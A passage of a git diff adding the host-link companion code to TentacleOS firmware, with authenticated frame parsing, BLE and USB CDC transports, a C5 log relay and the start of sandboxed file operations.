s_acc_len = 0; + s_tx_counter = 0; + + esp_err_t err = host_link_sec_init(); + if (err != ESP_OK) { + ESP_LOGE(TAG, "Security init failed: %s", esp_err_to_name(err)); + return err; + } + + ESP_LOGI(TAG, "Host link initialized"); + return ESP_OK; +} + +bool host_link_session_acquire(host_link_writer_t writer) { + if (writer == NULL) + return false; + xSemaphoreTake(s_lock, portMAX_DELAY); + bool ok = (s_writer == NULL || s_writer == writer); + if (ok) + s_writer = writer; + xSemaphoreGive(s_lock); + return ok; +} + +void host_link_session_release(host_link_writer_t writer) { + xSemaphoreTake(s_lock, portMAX_DELAY); + bool owned = (s_writer == writer); + if (owned) { + s_writer = NULL; + s_acc_len = 0; + } + xSemaphoreGive(s_lock); + if (owned) { + host_stream_teardown(); // stop any live stream so the C5 session is reaped + host_link_sec_reset(); // force re-handshake on the next session + } +} + +bool host_link_session_owns(host_link_writer_t writer) { + return s_writer == writer; // single-word read; benign race +} + +void host_link_reset_rx(void) { + s_acc_len = 0; +} + +void host_link_feed(const uint8_t *data, size_t len) { + if (data == NULL || len == 0) + return; + + for (size_t i = 0; i < len; i++) { + if (s_acc_len < sizeof(s_acc)) { + s_acc[s_acc_len++] = data[i]; + } else { + // Overflow: drop the oldest half to recover sync rather than wedging. + memmove(s_acc, s_acc + sizeof(s_acc) / 2, sizeof(s_acc) / 2); + s_acc_len = sizeof(s_acc) / 2; + s_acc[s_acc_len++] = data[i]; + } + } + + // Parse as many complete frames as the accumulator holds. + for (;;) { + // Resync to MAGIC. + if (s_acc_len >= 1 && s_acc[0] != HOST_LINK_MAGIC0) { + size_t drop = 1; + while (drop < s_acc_len && s_acc[drop] != HOST_LINK_MAGIC0) + drop++; + memmove(s_acc, s_acc + drop, s_acc_len - drop); + s_acc_len -= drop; + } + if (s_acc_len < HOST_LINK_HDR_SIZE) + return; + if (s_acc[1] != HOST_LINK_MAGIC1) { + // Second magic byte wrong — drop the first and retry. + memmove(s_acc, s_acc + 1, s_acc_len - 1); + s_acc_len -= 1; + continue; + } + + uint8_t flags = s_acc[3]; + uint16_t body_len = (uint16_t)s_acc[8] | ((uint16_t)s_acc[9] << 8); + size_t mac = (flags & HOST_LINK_FLAG_AUTH) ? HOST_LINK_MAC_SIZE : 0; + size_t total = HOST_LINK_HDR_SIZE + body_len + mac; + + if (body_len + HOST_LINK_HDR_SIZE + mac > sizeof(s_acc)) { + // Bogus oversized length — drop the magic byte and resync. + memmove(s_acc, s_acc + 1, s_acc_len - 1); + s_acc_len -= 1; + continue; + } + if (s_acc_len < total) + return; // wait for the rest + + process_frame(s_acc, total); + + memmove(s_acc, s_acc + total, s_acc_len - total); + s_acc_len -= total; + } +} + +// Static functions + +static void process_frame(const uint8_t *frame, size_t total) { + uint8_t ver = frame[2]; + uint8_t flags = frame[3]; + uint32_t counter = (uint32_t)frame[4] | ((uint32_t)frame[5] << 8) | ((uint32_t)frame[6] << 16) | + ((uint32_t)frame[7] << 24); + uint16_t body_len = (uint16_t)frame[8] | ((uint16_t)frame[9] << 8); + (void)total; + + if (ver != HOST_LINK_VER) { + ESP_LOGW(TAG, "Unsupported host-link version %u", ver); + return; + } + if (body_len < HOST_LINK_BODY_HDR) + return; + + const uint8_t *body = frame + HOST_LINK_HDR_SIZE; + uint8_t type = body[0]; + uint8_t category = body[1]; + uint8_t op = body[2]; + const uint8_t *payload = body + HOST_LINK_BODY_HDR; + uint16_t plen16 = body_len - HOST_LINK_BODY_HDR; + + // Pre-auth handshake: the only frame accepted before keys exist. + if (type == HOST_TYPE_HELLO) { + handle_hello(payload, plen16); + return; + } + + // Every other inbound frame must be authenticated: MAC-valid and fresh. The + // MAC covers [VER .. end of BODY); the 16-byte MAC follows the body. + if (!(flags & HOST_LINK_FLAG_AUTH) || !host_link_sec_is_authenticated()) { + ESP_LOGW(TAG, "Dropping unauthenticated frame type 0x%02X", type); + return; + } + const uint8_t *mac = frame + HOST_LINK_HDR_SIZE + body_len; + size_t span_len = (size_t)(HOST_LINK_HDR_SIZE + body_len) - 2; // from VER (offset 2) + if (!host_link_sec_verify_inbound(frame + 2, span_len, mac, counter)) { + ESP_LOGW(TAG, "Dropping frame with bad MAC/counter (type 0x%02X)", type); + return; + } + + if (type != HOST_TYPE_CMD) { + ESP_LOGW(TAG, "Ignoring non-CMD frame type 0x%02X from host", type); + return; + } + + // File ops are handled locally on the P4 (it owns flash + SD) and may carry + // payloads larger than one SPI frame, so they bypass the relay size cap. + uint16_t cmd = SPI_CMD(category, op); + if (host_files_is_file_op(cmd)) { + static uint8_t fdata[HOST_FILE_DATA_MAX]; + uint16_t flen = 0; + uint8_t status = host_files_handle(cmd, payload, plen16, fdata, sizeof(fdata), &flen); + send_resp(category, op, status, fdata, flen); + return; + } + + // Device state, settings, and console exec are also handled locally on the P4. + if (host_state_is_local_op(cmd)) { + static uint8_t sdata[HOST_FILE_DATA_MAX]; + uint16_t slen = 0; + uint8_t status = host_state_handle(cmd, payload, plen16, sdata, sizeof(sdata), &slen); + send_resp(category, op, status, sdata, slen); + return; + } + + // SESSION control (heartbeat/stop) is the companion's liveness proxy — handled + // locally, never relayed (the P4 keeps heartbeating the C5 on its own). + if (category == SPI_CAT_SESSION) { + uint8_t cdata[8]; + uint16_t clen = 0; + uint8_t status = host_stream_session_ctrl(cmd, payload, plen16, cdata, sizeof(cdata), &clen); + send_resp(category, op, status, cdata, clen); + return; + } + + // Session-based streaming ops (e.g. sniffer) run through the spi_session model + // and push records to the app as STREAM frames. + if (host_stream_is_session_op(cmd)) { + uint8_t sdata[8]; + uint16_t slen = 0; + uint8_t status = host_stream_start(cmd, payload, plen16, sdata, sizeof(sdata), &slen); + send_resp(category, op, status, sdata, slen); + return; + } + + // Everything else relays to the C5 over SPI, whose payloads cap at one frame. + if (plen16 > SPI_MAX_PAYLOAD) { + send_resp(category, op, SPI_STATUS_INVALID_ARG, NULL, 0); + return; + } + + dispatch_cmd(category, op, payload, (uint8_t)plen16); +} + +static void handle_hello(const uint8_t *payload, uint16_t plen) { + uint8_t ack[1 + HOST_LINK_NONCE_SIZE + HOST_LINK_DEVICE_ID_SIZE + HOST_LINK_MAC_SIZE]; + size_t ack_len = 0; + esp_err_t err = host_link_sec_handle_hello(payload, plen, ack, sizeof(ack), &ack_len); + if (err != ESP_OK) { + ESP_LOGW(TAG, "HELLO rejected: %s", esp_err_to_name(err)); + return; + } + + // The handshake reset the session; restart the outbound counter so the first + // authenticated device→app frame begins a fresh sequence. + xSemaphoreTake(s_lock, portMAX_DELAY); + s_tx_counter = 0; + xSemaphoreGive(s_lock); + + // HELLO_ACK travels unauthenticated (its proof is mac_psk in the payload). + emit_frame(HOST_TYPE_HELLO_ACK, 0x00, 0x00, ack, (uint16_t)ack_len); +} + +static void dispatch_cmd(uint8_t category, uint8_t op, const uint8_t *payload, uint8_t plen) { + // Phase 1: route every command through the existing SPI bridge HAL. Local P4 + // handlers (file ops, device state) are added in later phases. + uint16_t cmd = SPI_CMD(category, op); + spi_header_t resp_hdr = {0}; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command( + cmd, payload, plen, &resp_hdr, resp_buf, spi_bridge_get_timeout(cmd)); + + uint8_t status = status_from_err(ret); + uint8_t data_len = (ret == ESP_OK) ? resp_hdr.length : 0; + send_resp(category, op, status, resp_buf, data_len); +} + +static uint8_t status_from_err(esp_err_t err) { + switch (err) { + case ESP_OK: + return SPI_STATUS_OK; + case ESP_ERR_INVALID_STATE: + return SPI_STATUS_BUSY; + case ESP_ERR_NOT_SUPPORTED: + return SPI_STATUS_UNSUPPORTED; + case ESP_ERR_INVALID_ARG: + return SPI_STATUS_INVALID_ARG; + default: + return SPI_STATUS_ERROR; + } +} + +// Assemble and write one host frame. Holds s_lock across the counter bump and +// the transport write so frames stay atomic and the per-direction counter stays +// monotonic even when RESP (command worker) and LOG (log worker) race. +static void emit_frame(uint8_t type, uint8_t category, uint8_t op, const uint8_t *payload, + uint16_t payload_len) { + if (s_writer == NULL) + return; + + static uint8_t frame[HOST_LINK_MAX_FRAME]; + uint16_t body_len = (uint16_t)(HOST_LINK_BODY_HDR + payload_len); + + // Handshake frames are always unauthenticated; everything else carries a MAC + // once the session is up. + bool is_handshake = (type == HOST_TYPE_HELLO || type == HOST_TYPE_HELLO_ACK); + bool authed = !is_handshake && host_link_sec_is_authenticated(); + size_t span = (size_t)HOST_LINK_HDR_SIZE + body_len; + size_t out_len = span + (authed ? HOST_LINK_MAC_SIZE : 0); + if (out_len > sizeof(frame)) + return; // never overflow the frame buffer + + xSemaphoreTake(s_lock, portMAX_DELAY); + uint32_t counter = s_tx_counter++; + + frame[0] = HOST_LINK_MAGIC0; + frame[1] = HOST_LINK_MAGIC1; + frame[2] = HOST_LINK_VER; + frame[3] = authed ? HOST_LINK_FLAG_AUTH : 0x00; + frame[4] = (uint8_t)(counter & 0xFF); + frame[5] = (uint8_t)((counter >> 8) & 0xFF); + frame[6] = (uint8_t)((counter >> 16) & 0xFF); + frame[7] = (uint8_t)((counter >> 24) & 0xFF); + frame[8] = (uint8_t)(body_len & 0xFF); + frame[9] = (uint8_t)((body_len >> 8) & 0xFF); + frame[HOST_LINK_HDR_SIZE + 0] = type; + frame[HOST_LINK_HDR_SIZE + 1] = category; + frame[HOST_LINK_HDR_SIZE + 2] = op; + if (payload_len > 0 && payload != NULL) + memcpy(frame + HOST_LINK_HDR_SIZE + HOST_LINK_BODY_HDR, payload, payload_len); + + // MAC covers [VER .. end of BODY) and is appended after the body. + if (authed) + host_link_sec_sign_outbound(frame + 2, span - 2, frame + span); + + s_writer(frame, out_len); + xSemaphoreGive(s_lock); +} + +static void send_resp(uint8_t category, uint8_t op, uint8_t status, const uint8_t *data, + uint16_t data_len) { + // [status][data...]. Sized for the largest local response (a file chunk). + // Single-session guarantees only one dispatcher runs at a time. + static uint8_t payload[1 + HOST_FILE_DATA_MAX]; + if (data_len > HOST_FILE_DATA_MAX) + data_len = HOST_FILE_DATA_MAX; + payload[0] = status; + if (data_len > 0 && data != NULL) + memcpy(payload + 1, data, data_len); + emit_frame(HOST_TYPE_RESP, category, op, payload, (uint16_t)(1 + data_len)); +} + +void host_link_mark_ble_writer(host_link_writer_t writer) { + s_ble_writer = writer; +} + +// Emit one LOG frame. Background logs (gate_ble=true) are suppressed over BLE +// when the log-over-BLE toggle is off; USB always carries them, and console +// output (gate_ble=false) is always delivered. +static void emit_log_frame(host_log_source_t source, host_log_level_t level, const char *text, + size_t text_len, bool gate_ble) { + if (text == NULL) + return; + if (gate_ble && s_writer != NULL && s_writer == s_ble_writer && + !host_settings_log_over_ble_enabled()) { + return; + } + + if (text_len > HOST_LINK_LOG_TEXT_MAX) + text_len = HOST_LINK_LOG_TEXT_MAX; + + uint8_t payload[2 + HOST_LINK_LOG_TEXT_MAX]; // [source][level][text...] + payload[0] = (uint8_t)source; + payload[1] = (uint8_t)level; + memcpy(payload + 2, text, text_len); + emit_frame(HOST_TYPE_LOG, 0x00, 0x00, payload, (uint16_t)(2 + text_len)); +} + +void host_link_emit_log(host_log_source_t source, host_log_level_t level, const char *text, + size_t text_len) { + emit_log_frame(source, level, text, text_len, true); +} + +void host_link_emit_console(const char *text, size_t text_len) { + emit_log_frame(HOST_LOG_SRC_P4, HOST_LOG_LEVEL_INFO, text, text_len, false); +} + +void host_link_emit_stream(uint8_t category, uint8_t op, const uint8_t *data, uint16_t len) { + emit_frame(HOST_TYPE_STREAM, category, op, data, len); +} diff --git a/firmware_p4/components/Service/host_link/host_link_ble.c b/firmware_p4/components/Service/host_link/host_link_ble.c new file mode 100644 index 000000000..dbf7d9770 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_ble.c @@ -0,0 +1,289 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// BLE companion relay on the P4. BLE terminates on the C5; this module ferries +// opaque host frames over the SPI bridge and presents BLE as just another +// host-link transport. The host-link writer for BLE chunks frames to the C5 +// (SPI_ID_HOST_TX); inbound app bytes arrive on the SPI_ID_HOST_RX stream, +// reassemble, and feed the host-link core (which terminates the crypto). + +#include "host_link_ble.h" + +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" +#include "freertos/task.h" + +#include "host_link.h" +#include "spi_bridge.h" +#include "spi_protocol.h" + +static const char *TAG = "HOST_LINK_BLE"; + +#define BLE_TASK_STACK 4096 +#define BLE_TASK_PRIO 5 +#define BLE_STATUS_TICK_MS 200 +#define BLE_SPI_TIMEOUT_MS 1000 +#define BLE_RX_FRAME_MAX 512 // one C5 BLE-write worth; host_link_feed reframes +#define BLE_CHUNK_PAYLOAD_MAX SPI_MESH_CHUNK_PAYLOAD_MAX +#define BLE_MAX_CHUNKS 255 +#define BLE_RECONCILE_INTERVAL 10 +#define BLE_NAME_PREFIX "Tentacle" + +typedef struct { + bool is_active; + uint8_t seq; + uint8_t total_chunks; + uint8_t next_chunk_idx; + uint16_t accumulated_len; + uint8_t buf[BLE_RX_FRAME_MAX]; +} ble_reassembly_t; + +static bool s_is_initialized = false; +static volatile bool s_is_running = false; +static TaskHandle_t s_status_task = NULL; +static SemaphoreHandle_t s_tx_mutex = NULL; +static uint8_t s_tx_seq = 0; +static ble_reassembly_t s_rx = {0}; +static volatile bool s_want_ble_active = false; +static bool s_ble_active_on_c5 = false; +static uint16_t s_reconcile_ticks_remaining = BLE_RECONCILE_INTERVAL; +static bool s_was_connected = false; + +static void status_task(void *pvParameters); +static void on_rx_stream(spi_id_t id, const uint8_t *payload, uint8_t len); +static void ble_write(const uint8_t *frame, size_t len); +static esp_err_t fetch_status(spi_host_status_t *out_status); +static esp_err_t request_ble_init(void); +static esp_err_t request_ble_stop(void); +static void reconcile_transports(void); + +esp_err_t host_link_ble_init(void) { + if (s_is_initialized) { + return ESP_ERR_INVALID_STATE; + } + + memset(&s_rx, 0, sizeof(s_rx)); + s_tx_seq = 0; + s_want_ble_active = false; + s_ble_active_on_c5 = false; + s_reconcile_ticks_remaining = BLE_RECONCILE_INTERVAL; + s_was_connected = false; + + s_tx_mutex = xSemaphoreCreateMutex(); + if (s_tx_mutex == NULL) { + ESP_LOGE(TAG, "Failed to create tx mutex"); + return ESP_ERR_NO_MEM; + } + + spi_bridge_register_stream_cb(SPI_ID_HOST_RX, on_rx_stream); + host_link_mark_ble_writer(ble_write); // lets the log-over-BLE toggle gate BLE only + + s_is_running = true; + if (xTaskCreate(status_task, "hl_ble", BLE_TASK_STACK, NULL, BLE_TASK_PRIO, &s_status_task) != + pdPASS) { + s_is_running = false; + spi_bridge_unregister_stream_cb(SPI_ID_HOST_RX); + vSemaphoreDelete(s_tx_mutex); + s_tx_mutex = NULL; + ESP_LOGE(TAG, "Failed to create status task"); + return ESP_ERR_NO_MEM; + } + + s_is_initialized = true; + ESP_LOGI(TAG, "BLE relay initialized"); + return ESP_OK; +} + +esp_err_t host_link_ble_start(void) { + s_want_ble_active = true; + return request_ble_init(); +} + +esp_err_t host_link_ble_stop(void) { + s_want_ble_active = false; + return request_ble_stop(); +} + +bool host_link_ble_is_connected(void) { + return s_was_connected; +} + +static void status_task(void *pvParameters) { + (void)pvParameters; + + while (s_is_running) { + vTaskDelay(pdMS_TO_TICKS(BLE_STATUS_TICK_MS)); + + if (s_reconcile_ticks_remaining == 0) { + reconcile_transports(); + s_reconcile_ticks_remaining = BLE_RECONCILE_INTERVAL; + } else { + s_reconcile_ticks_remaining--; + } + + spi_host_status_t status = {0}; + if (fetch_status(&status) != ESP_OK) { + continue; + } + + bool is_connected = (status.ble_connected != 0); + if (is_connected && !s_was_connected) { + // New BLE companion: claim the single session for the BLE writer. + if (!host_link_session_acquire(ble_write)) { + ESP_LOGW(TAG, "BLE connect but session busy (other transport active)"); + } + } else if (!is_connected && s_was_connected) { + host_link_session_release(ble_write); + } + s_was_connected = is_connected; + } + + s_status_task = NULL; + vTaskDelete(NULL); +} + +// Host-link writer for BLE: chunk the frame and push each chunk to the C5, +// which reassembles and notifies the companion. Runs under the host-link lock. +static void ble_write(const uint8_t *frame, size_t len) { + if (frame == NULL || len == 0) { + return; + } + + uint16_t total_u16 = (uint16_t)((len + BLE_CHUNK_PAYLOAD_MAX - 1) / BLE_CHUNK_PAYLOAD_MAX); + if (total_u16 == 0 || total_u16 > BLE_MAX_CHUNKS) { + return; + } + uint8_t total_chunks = (uint8_t)total_u16; + + if (s_tx_mutex == NULL || + xSemaphoreTake(s_tx_mutex, pdMS_TO_TICKS(BLE_SPI_TIMEOUT_MS)) != pdTRUE) { + return; + } + uint8_t seq = s_tx_seq++; + xSemaphoreGive(s_tx_mutex); + + uint8_t buf[SPI_MAX_PAYLOAD]; + spi_mesh_chunk_hdr_t hdr; + uint16_t offset = 0; + + for (uint8_t idx = 0; idx < total_chunks; idx++) { + uint16_t remaining = (uint16_t)(len - offset); + uint16_t this_chunk = remaining > BLE_CHUNK_PAYLOAD_MAX ? BLE_CHUNK_PAYLOAD_MAX : remaining; + + hdr.seq = seq; + hdr.chunk_idx = idx; + hdr.total_chunks = total_chunks; + hdr.flags = (idx == (uint8_t)(total_chunks - 1)) ? SPI_MESH_CHUNK_FLAG_LAST : 0; + + memcpy(buf, &hdr, sizeof(hdr)); + memcpy(buf + sizeof(hdr), frame + offset, this_chunk); + + uint8_t cmd_len = (uint8_t)(sizeof(hdr) + this_chunk); + if (spi_bridge_send_command(SPI_ID_HOST_TX, buf, cmd_len, NULL, NULL, BLE_SPI_TIMEOUT_MS) != + ESP_OK) { + return; + } + offset += this_chunk; + } +} + +static void on_rx_stream(spi_id_t id, const uint8_t *payload, uint8_t len) { + (void)id; + if (payload == NULL || len < (uint8_t)sizeof(spi_mesh_chunk_hdr_t)) { + return; + } + + spi_mesh_chunk_hdr_t hdr; + memcpy(&hdr, payload, sizeof(hdr)); + const uint8_t *data = payload + sizeof(hdr); + uint8_t data_len = (uint8_t)(len - sizeof(hdr)); + + if (hdr.total_chunks == 0) { + return; + } + + if (hdr.chunk_idx == 0) { + s_rx.is_active = true; + s_rx.seq = hdr.seq; + s_rx.total_chunks = hdr.total_chunks; + s_rx.next_chunk_idx = 0; + s_rx.accumulated_len = 0; + } else if (!s_rx.is_active) { + return; + } + + if (hdr.seq != s_rx.seq || hdr.chunk_idx != s_rx.next_chunk_idx || + hdr.total_chunks != s_rx.total_chunks) { + s_rx.is_active = false; + return; + } + + if ((uint16_t)(s_rx.accumulated_len + data_len) > sizeof(s_rx.buf)) { + s_rx.is_active = false; + return; + } + + memcpy(s_rx.buf + s_rx.accumulated_len, data, data_len); + s_rx.accumulated_len = (uint16_t)(s_rx.accumulated_len + data_len); + s_rx.next_chunk_idx++; + + if (s_rx.next_chunk_idx >= s_rx.total_chunks) { + // Feed the host-link core only if BLE owns the session; otherwise drop. + if (host_link_session_owns(ble_write)) { + host_link_feed(s_rx.buf, s_rx.accumulated_len); + } + s_rx.is_active = false; + } +} + +static esp_err_t fetch_status(spi_host_status_t *out_status) { + if (out_status == NULL) { + return ESP_ERR_INVALID_ARG; + } + spi_header_t resp; + return spi_bridge_send_command( + SPI_ID_HOST_STATUS, NULL, 0, &resp, (uint8_t *)out_status, BLE_SPI_TIMEOUT_MS); +} + +static esp_err_t request_ble_init(void) { + spi_host_init_t req = {0}; + strncpy(req.name_prefix, BLE_NAME_PREFIX, sizeof(req.name_prefix) - 1); + esp_err_t ret = spi_bridge_send_command( + SPI_ID_HOST_BLE_INIT, (uint8_t *)&req, sizeof(req), NULL, NULL, BLE_SPI_TIMEOUT_MS); + if (ret == ESP_OK) { + s_ble_active_on_c5 = true; + } + return ret; +} + +static esp_err_t request_ble_stop(void) { + esp_err_t ret = + spi_bridge_send_command(SPI_ID_HOST_BLE_STOP, NULL, 0, NULL, NULL, BLE_SPI_TIMEOUT_MS); + if (ret == ESP_OK) { + s_ble_active_on_c5 = false; + } + return ret; +} + +static void reconcile_transports(void) { + if (s_want_ble_active && !s_ble_active_on_c5) { + request_ble_init(); + } else if (!s_want_ble_active && s_ble_active_on_c5) { + request_ble_stop(); + } +} diff --git a/firmware_p4/components/Service/host_link/host_link_c5log.c b/firmware_p4/components/Service/host_link/host_link_c5log.c new file mode 100644 index 000000000..64f5cfb65 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_c5log.c @@ -0,0 +1,46 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// C5 log relay on the P4. The C5 tees its ESP_LOGx output and streams each line +// to the P4 over SPI_ID_SYSTEM_LOG as [level u8][utf-8 text]. This module +// consumes that stream and re-emits each line as a host-link LOG frame tagged +// source=C5, so the companion app can show a separate C5 console. + +#include "host_link.h" + +#include "esp_log.h" + +#include "spi_bridge.h" +#include "spi_protocol.h" + +static const char *TAG = "HOST_LINK_C5LOG"; + +static void on_c5_log_stream(spi_id_t id, const uint8_t *payload, uint8_t len) { + (void)id; + // Record = [level u8][utf-8 text]; at least the level byte must be present. + if (payload == NULL || len < 1) { + return; + } + uint8_t level = payload[0]; + const char *text = (const char *)(payload + 1); + size_t text_len = (size_t)(len - 1); + host_link_emit_log(HOST_LOG_SRC_C5, (host_log_level_t)level, text, text_len); +} + +esp_err_t host_link_c5log_init(void) { + spi_bridge_register_stream_cb(SPI_ID_SYSTEM_LOG, on_c5_log_stream); + ESP_LOGI(TAG, "C5 log relay registered"); + return ESP_OK; +} diff --git a/firmware_p4/components/Service/host_link/host_link_cdc.c b/firmware_p4/components/Service/host_link/host_link_cdc.c new file mode 100644 index 000000000..23cc310a3 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_cdc.c @@ -0,0 +1,140 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// USB CDC-ACM transport for the companion host link. The CDC RX callback runs +// in the TinyUSB task, so it only buffers bytes into a stream buffer; a worker +// task drains them into host_link_feed(), where dispatch may block on the SPI +// bridge — never block inside the USB callback. + +#include "host_link.h" +#include "host_link_sec.h" + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/stream_buffer.h" +#include "freertos/task.h" + +#include "tinyusb.h" +#include "tinyusb_cdc_acm.h" +#include "tusb_desc.h" + +static const char *TAG = "HOST_LINK_CDC"; + +#define HOST_LINK_CDC_ITF TINYUSB_CDC_ACM_0 +#define HOST_LINK_CDC_RX_CHUNK 64 +#define HOST_LINK_CDC_STREAM 1024 +#define HOST_LINK_CDC_TASK_STK 4096 +#define HOST_LINK_CDC_TASK_PRIO 5 +#define HOST_LINK_CDC_FLUSH_MS 50 +#define HOST_LINK_CDC_MAX_STALLS 4 // give up a write after this many full-buffer stalls + +static StreamBufferHandle_t s_rx_stream = NULL; +static TaskHandle_t s_worker = NULL; + +static void cdc_rx_cb(int itf, cdcacm_event_t *event) { + (void)event; + uint8_t buf[HOST_LINK_CDC_RX_CHUNK]; + size_t rx = 0; + if (tinyusb_cdcacm_read((tinyusb_cdcacm_itf_t)itf, buf, sizeof(buf), &rx) == ESP_OK && rx > 0) { + // Non-blocking: if the worker is behind, drop rather than stall the USB task. + xStreamBufferSend(s_rx_stream, buf, rx, 0); + } +} + +static void cdc_write(const uint8_t *frame, size_t len); + +static void cdc_line_state_cb(int itf, cdcacm_event_t *event) { + (void)itf; + // Claim the single companion session when the host opens the port (DTR set), + // release it when the port closes. Release also resets crypto + reassembly so + // a reconnecting app must re-handshake. + if (event->line_state_changed_data.dtr) { + host_link_session_acquire(cdc_write); + } else { + host_link_session_release(cdc_write); + } +} + +static void cdc_write(const uint8_t *frame, size_t len) { + // Drop when no app has the port open. Logs are pushed regardless of a + // connection, so without this guard the write loop would spin forever. + if (!tud_cdc_n_connected(HOST_LINK_CDC_ITF)) + return; + + size_t off = 0; + int stalls = 0; + while (off < len) { + size_t q = tinyusb_cdcacm_write_queue(HOST_LINK_CDC_ITF, frame + off, len - off); + off += q; + if (q == 0) { + // TX buffer full — flush to make room. Give up after a few stalls so a + // wedged endpoint can't block the caller indefinitely. + if (++stalls > HOST_LINK_CDC_MAX_STALLS) + return; + tinyusb_cdcacm_write_flush(HOST_LINK_CDC_ITF, pdMS_TO_TICKS(HOST_LINK_CDC_FLUSH_MS)); + } else { + stalls = 0; + } + } + tinyusb_cdcacm_write_flush(HOST_LINK_CDC_ITF, pdMS_TO_TICKS(HOST_LINK_CDC_FLUSH_MS)); +} + +static void host_link_worker(void *arg) { + (void)arg; + uint8_t buf[128]; + for (;;) { + size_t n = xStreamBufferReceive(s_rx_stream, buf, sizeof(buf), portMAX_DELAY); + // Only feed if USB owns the session; otherwise (BLE active) drop the bytes. + if (n > 0 && host_link_session_owns(cdc_write)) { + host_link_feed(buf, n); + } + } +} + +esp_err_t host_link_cdc_init(void) { + s_rx_stream = xStreamBufferCreate(HOST_LINK_CDC_STREAM, 1); + if (s_rx_stream == NULL) { + ESP_LOGE(TAG, "Failed to create RX stream buffer"); + return ESP_ERR_NO_MEM; + } + + esp_err_t err = busb_init(); // ensure the TinyUSB composite (HID + CDC) is up + if (err != ESP_OK) { + ESP_LOGE(TAG, "TinyUSB init failed: %s", esp_err_to_name(err)); + return err; + } + + const tinyusb_config_cdcacm_t acm_cfg = { + .cdc_port = HOST_LINK_CDC_ITF, + .callback_rx = &cdc_rx_cb, + .callback_line_state_changed = &cdc_line_state_cb, + }; + err = tinyusb_cdcacm_init(&acm_cfg); + if (err != ESP_OK) { + ESP_LOGE(TAG, "CDC ACM init failed: %s", esp_err_to_name(err)); + return err; + } + + // The session is claimed on DTR (port open) in cdc_line_state_cb, not here. + + if (xTaskCreate(host_link_worker, "host_link", HOST_LINK_CDC_TASK_STK, NULL, + HOST_LINK_CDC_TASK_PRIO, &s_worker) != pdPASS) { + ESP_LOGE(TAG, "Failed to create host_link worker task"); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Host link CDC transport up"); + return ESP_OK; +} diff --git a/firmware_p4/components/Service/host_link/host_link_files.c b/firmware_p4/components/Service/host_link/host_link_files.c new file mode 100644 index 000000000..273e67bd1 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_files.c @@ -0,0 +1,250 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// P4-local file operations for the companion host link. The P4 owns both +// filesystems, reached over the standard VFS (POSIX). Paths are sandboxed to +// the mounted roots; ".." is rejected so the app cannot escape them. +// +// Wire layouts (host-link CMD payload → here; response written after the RESP +// status byte by the caller). All multi-byte fields little-endian. +// FILE_LIST req: +// resp: [u16 count][entry...] entry=[u8 is_dir][u32 size][u8 nlen][name] +// FILE_STAT req: +// resp: [u8 exists][u8 is_dir][u32 size] +// FILE_READ req: [u32 offset][u16 len] +// resp: (0 bytes ⇒ EOF) +// FILE_WRITE req: [u32 offset][u8 flags][u16 path_len] +// flags bit0 = CREATE/TRUNCATE; resp: [u32 written] +// FILE_DELETE req: resp: (empty) +// FILE_MKDIR req: resp: (empty) + +#include "host_link_files.h" + +#include +#include +#include +#include +#include + +#include "esp_log.h" + +#include "spi_protocol.h" + +static const char *TAG = "HOST_LINK_FILES"; + +#define FILE_PATH_MAX 256 +#define FILE_WRITE_TRUNCATE 0x01 + +// Filesystem roots the companion may touch. Anything else is rejected. +static const char *const ALLOWED_ROOTS[] = {"/assets", "/littlefs", "/sdcard"}; + +static uint32_t rd_u32(const uint8_t *p) { + return (uint32_t)p[0] | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); +} + +static uint16_t rd_u16(const uint8_t *p) { + return (uint16_t)p[0] | ((uint16_t)p[1] << 8); +} + +static void wr_u32(uint8_t *p, uint32_t v) { + p[0] = (uint8_t)(v & 0xFF); + p[1] = (uint8_t)((v >> 8) & 0xFF); + p[2] = (uint8_t)((v >> 16) & 0xFF); + p[3] = (uint8_t)((v >> 24) & 0xFF); +} + +// Copy a non-NUL-terminated path field into a buffer, validate the sandbox. +static bool path_ok(const uint8_t *src, uint16_t src_len, char *out, size_t out_cap) { + if (src_len == 0 || src_len >= out_cap) { + return false; + } + memcpy(out, src, src_len); + out[src_len] = 